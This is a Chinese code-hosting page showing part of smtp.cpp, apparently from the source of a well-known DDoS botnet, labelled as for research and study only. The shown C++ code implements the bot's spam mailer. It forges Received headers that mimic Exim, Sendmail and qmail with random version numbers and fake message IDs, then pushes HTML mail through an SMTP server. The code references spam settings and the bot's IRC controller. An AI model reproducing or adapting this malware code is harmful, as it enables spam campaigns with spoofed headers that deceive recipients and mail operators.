smtp.cpp.svn-base

来自「很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习」· SVN-BASE 代码 · 共 595 行 · 第 1/2 页

SVN-BASE
595
字号
	case 5:		sOS.Assign("FreeBSD"); break;	default:		sOS.Assign("Unknown"); break; }	switch(m_iMTAType) {	case MTA_TYPE_UNKNOWN:		{	CString sVersionHigh, sVersionLow, sNumber;			sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40));			sMTA.Format("SMTP %s.%s (%s)",				sVersionHigh.CStr(), sVersionLow.CStr(), sOS.CStr()); }		break;	case MTA_TYPE_EXIM:		{	CString sVersionHigh, sVersionLow, sNumber;			sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sNumber.Assign(brandom(1, 5));			sMTA.Format("Exim %s.%s #%s (%s)",				sVersionHigh.CStr(), sVersionLow.CStr(), sNumber.CStr(), sOS.CStr()); }		break;	case MTA_TYPE_SENDMAIL:		{	CString sVersionHigh, sVersionLow, sVersionLow2;			sVersionHigh.Assign(brandom(1, 12)); sVersionLow.Assign(brandom(1, 10));			sVersionLow2.Assign(brandom(1, 10));			sMTA.Format("8.%s.%s/8.%s.%s",				sVersionHigh.CStr(), sVersionLow.CStr(), sVersionHigh.CStr(), sVersionLow2.CStr()); }		break;	case MTA_TYPE_QMAIL:
		{	CString sPid; sPid.Assign(brandom(1, 65000));
			CString sInvokedBy; int iInvokedBy=brandom(1,3);
			if(iInvokedBy==1) {
				sInvokedBy.Assign("alias");
			} else if(iInvokedBy==2) {
				sInvokedBy.Assign("network");
			} else if(iInvokedBy==3) {
				sInvokedBy.Assign("uid 0");
			}

			sMTA.Format("qmail %s invoked by %s",
				sPid.CStr(), sInvokedBy.CStr()); }
		break;	case MTA_TYPE_GAIA:
		break;
	case MTA_TYPE_MSSMTPSVC:
		break;
	case MTA_TYPE_MSEXCHANGE:
		break;
	case MTA_TYPE_HOTMAILWM:
		break;
	case MTA_TYPE_WEBMAIL:
		break;
	case MTA_TYPE_POSTFIX:
		break;
	case MTA_TYPE_SMTPD:
		break;
	case MTA_TYPE_LIST_AMIRC:
		break;
	default:#ifdef DBGCONSOLE			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "				"Invalid MTA type selected!\n", this);#endif // DBGCONSOLE			Disconnect(); return false;		break; }
	// Generate an ID
	CString sID=GenerateID(); sSrcID.Assign(sID);
	// Get local hostname	sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr());	// Send MAIL FROM command	sReqBuf.Format("MAIL FROM:<%s>\r\n", sMailFrom.CStr());	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());	// Receive reply	m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192);	if(sRecvBuf.Mid(0, 3).Compare("250")) {		// MAIL FROM failed#ifdef DBGCONSOLE		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "			"Server rejected MAIL FROM \"%s\" (\"%s\")!\n", this,			sMailFrom.CStr(), sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE		Disconnect(); return false;	}	// Send RCPT TO command	sReqBuf.Format("RCPT TO:<%s>\r\n", sRcptTo.CStr());	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());	// Receive reply	m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192);	if(sRecvBuf.Mid(0, 3).Compare("250")) {		// RCPT TO failed#ifdef DBGCONSOLE		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "			"Server rejected RCTP TO \"%s\" (\"%s\")!\n", this,			sRcptTo.CStr(), sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE		Disconnect(); return false;	}	// Send DATA command	sReqBuf.Format("DATA\r\n");	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());	// Receive reply	m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192);	if(sRecvBuf.Mid(0, 3).Compare("354")) {		// DATA failed#ifdef DBGCONSOLE		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "			"Server rejected DATA (\"%s\")!\n", this,			sRecvBuf.Token(0, "\r").CStr());#endif // DBGCONSOLE		Disconnect(); return false;	}	// Get local time	time_t tGlobal=time(NULL); char szTimeBuf[4096];	strftime(szTimeBuf, sizeof(szTimeBuf), "%a, %d %b %Y %H:%M:%S GMT", gmtime(&tGlobal));	// Clear buffer	sReqBuf.Assign("");	switch(m_iMTAType) {	case MTA_TYPE_UNKNOWN:			sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by ");			sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local\r\n");			if(m_bUseSMTPExt) {
				// id 1AOkjD-0001RE-00
				sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
				// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
				sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
				sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
				// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
				sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
				sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
			}
		break;	case MTA_TYPE_EXIM:			// Received: from xxxx by xxxxx.xxxxxxx.xxx with local (Exim 3.36 #1 (Debian))			sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by ");			sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(")\r\n");			if(m_bUseSMTPExt) {
				// id 1AOkjD-0001RE-00
				sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
				// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
				sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
				sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
				// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
				sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
				sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
			}
		break;	case MTA_TYPE_SENDMAIL:			// Received: from xxxx by xxxx.xxxxxxx.xxx (8.12.8p1/8.12.6) with local			sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by ");			sReqBuf.Append(sHost.CStr()); sReqBuf.Append("(8."); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(") with local\r\n");			if(m_bUseSMTPExt) {
				// id 1AOkjD-0001RE-00
				sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n");
				// for <xxxx@xxxx.xxxx.xxx.xxx>; Tue, 25 Nov 2003 22:28:12 +0100
				sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; ");
				sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
				// Message-Id: <E1AOkjD-0001RE-00@xxxxx.xxxxxxx.xxx>
				sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@");
				sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n");
			}
		break;	case MTA_TYPE_QMAIL:
			// Received: (qmail 21608 invoked by alias); 17 Jul 2002 14:30:10 -0000
			sReqBuf.Append("Received: ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append("); ");
			sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
		break;
	case MTA_TYPE_GAIA:
		break;
	case MTA_TYPE_MSSMTPSVC:
		break;
	case MTA_TYPE_MSEXCHANGE:
		break;
	case MTA_TYPE_HOTMAILWM:
		break;
	case MTA_TYPE_WEBMAIL:
		break;
	case MTA_TYPE_POSTFIX:
		break;
	case MTA_TYPE_SMTPD:
		break;
	case MTA_TYPE_LIST_AMIRC:
		break;
	}	// From: xxxx <xxxx@xxx.xxxx.xxx.xxx>	sReqBuf.Append("From: "); sReqBuf.Append(sMailFromFull.CStr()); sReqBuf.Append(" <");	sReqBuf.Append(sMailFrom.CStr()); sReqBuf.Append(">\r\n");	// To: xxxx@xxxx.xxxx.xxx.xxx	sReqBuf.Append("To: "); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append("\r\n");	// Subject: bla
	sReqBuf.Append("Subject: "); sReqBuf.Append(sSubject.CStr()); sReqBuf.Append("\r\n");
	// Date: Tue, 25 Nov 2003 22:28:12 +0100	sReqBuf.Append("Date: "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n");
	// MIME-Version: 1.0
	sReqBuf.Append("MIME-Version: 1.0\r\n");
//	if(g_cSMTPLogic.spam_htmlemail.bValue) {
		// Content-Type: text/html; charset=us-ascii
		sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n");
//	} else {
//		// Content-Type: text/plain; charset=us-ascii
//		sReqBuf.Append("Content-Type: text/plain; charset=us-ascii\r\n");
//	}
	sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n");
	// Content-Transfer-Encoding: 7bit
	sReqBuf.Append("Content-Transfer-Encoding: 7bit\r\n");
	// 	// <data>	// .//	if(g_cSMTPLogic.spam_htmlemail.bValue) {
		sReqBuf.Append("\r\n\r\n");
//	} else {
//		sReqBuf.Append("\r\n");
//	}
	sReqBuf.Append("\r\n\r\n");
	sReqBuf.Append(sData.CStr()); sReqBuf.Append("\r\n.\r\n");	// Send data	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());	// Receive reply	if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {		// Connection reset#ifdef DBGCONSOLE		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "			"Connection reset!\n", this);#endif // DBGCONSOLE		Disconnect(); return false;	}	// Check if data was accepted	if(sRecvBuf.Mid(0, 3).Compare("250")) {		// Data not accepted#ifdef DBGCONSOLE		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "			"Server rejected MAIL FROM \"%s\", RCPT TO \"%s\"!\n", this,			sMailFrom.CStr(), sRcptTo.CStr());#endif // DBGCONSOLE		Disconnect(); return false;	}	return true;}void CSMTP_Connection::SetMTA(int iMTAType) {	m_iMTAType=iMTAType;}//
// SMTP Sender class
//

CSMTP_Sender::CSMTP_Sender() {
	m_szType="CSMTP_Sender";
	m_sMailFrom.Assign(""); m_sMailFromFull.Assign("");
	m_sRcptTo.Assign(""); m_sData.Assign("");
	m_sHost.Assign(""); m_iPort=0;
	m_cConnection.Init(); m_bFinished=true;
}

CSMTP_Sender::~CSMTP_Sender() {
	m_cConnection.Disconnect(); m_bFinished=true;
}

void *CSMTP_Sender::Run() {
	m_bFinished=false;
	if(m_cConnection.Connect(m_sHost, m_iPort)) {
		if(m_cConnection.Hello()) {
			if(m_cConnection.Mail(m_sMailFrom, m_sMailFromFull, m_sRcptTo, m_sSubject, m_sData)) {
				m_cConnection.Disconnect();
			}
		}
		m_cConnection.Disconnect();
	}
	m_bFinished=true;
	return NULL;
}

void CSMTP_Sender::SetMail(CString sMailFrom, CString sMailFromFull, CString sRcptTo, CString sSubject, CString sData) {
	m_sMailFrom.Assign(sMailFrom); m_sMailFromFull.Assign(sMailFromFull);
	m_sRcptTo.Assign(sRcptTo); m_sSubject.Assign(sSubject); m_sData.Assign(sData);
}

void CSMTP_Sender::SetServer(CString sHost, int iPort) {
	m_sHost.Assign(sHost); m_iPort=iPort;
}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?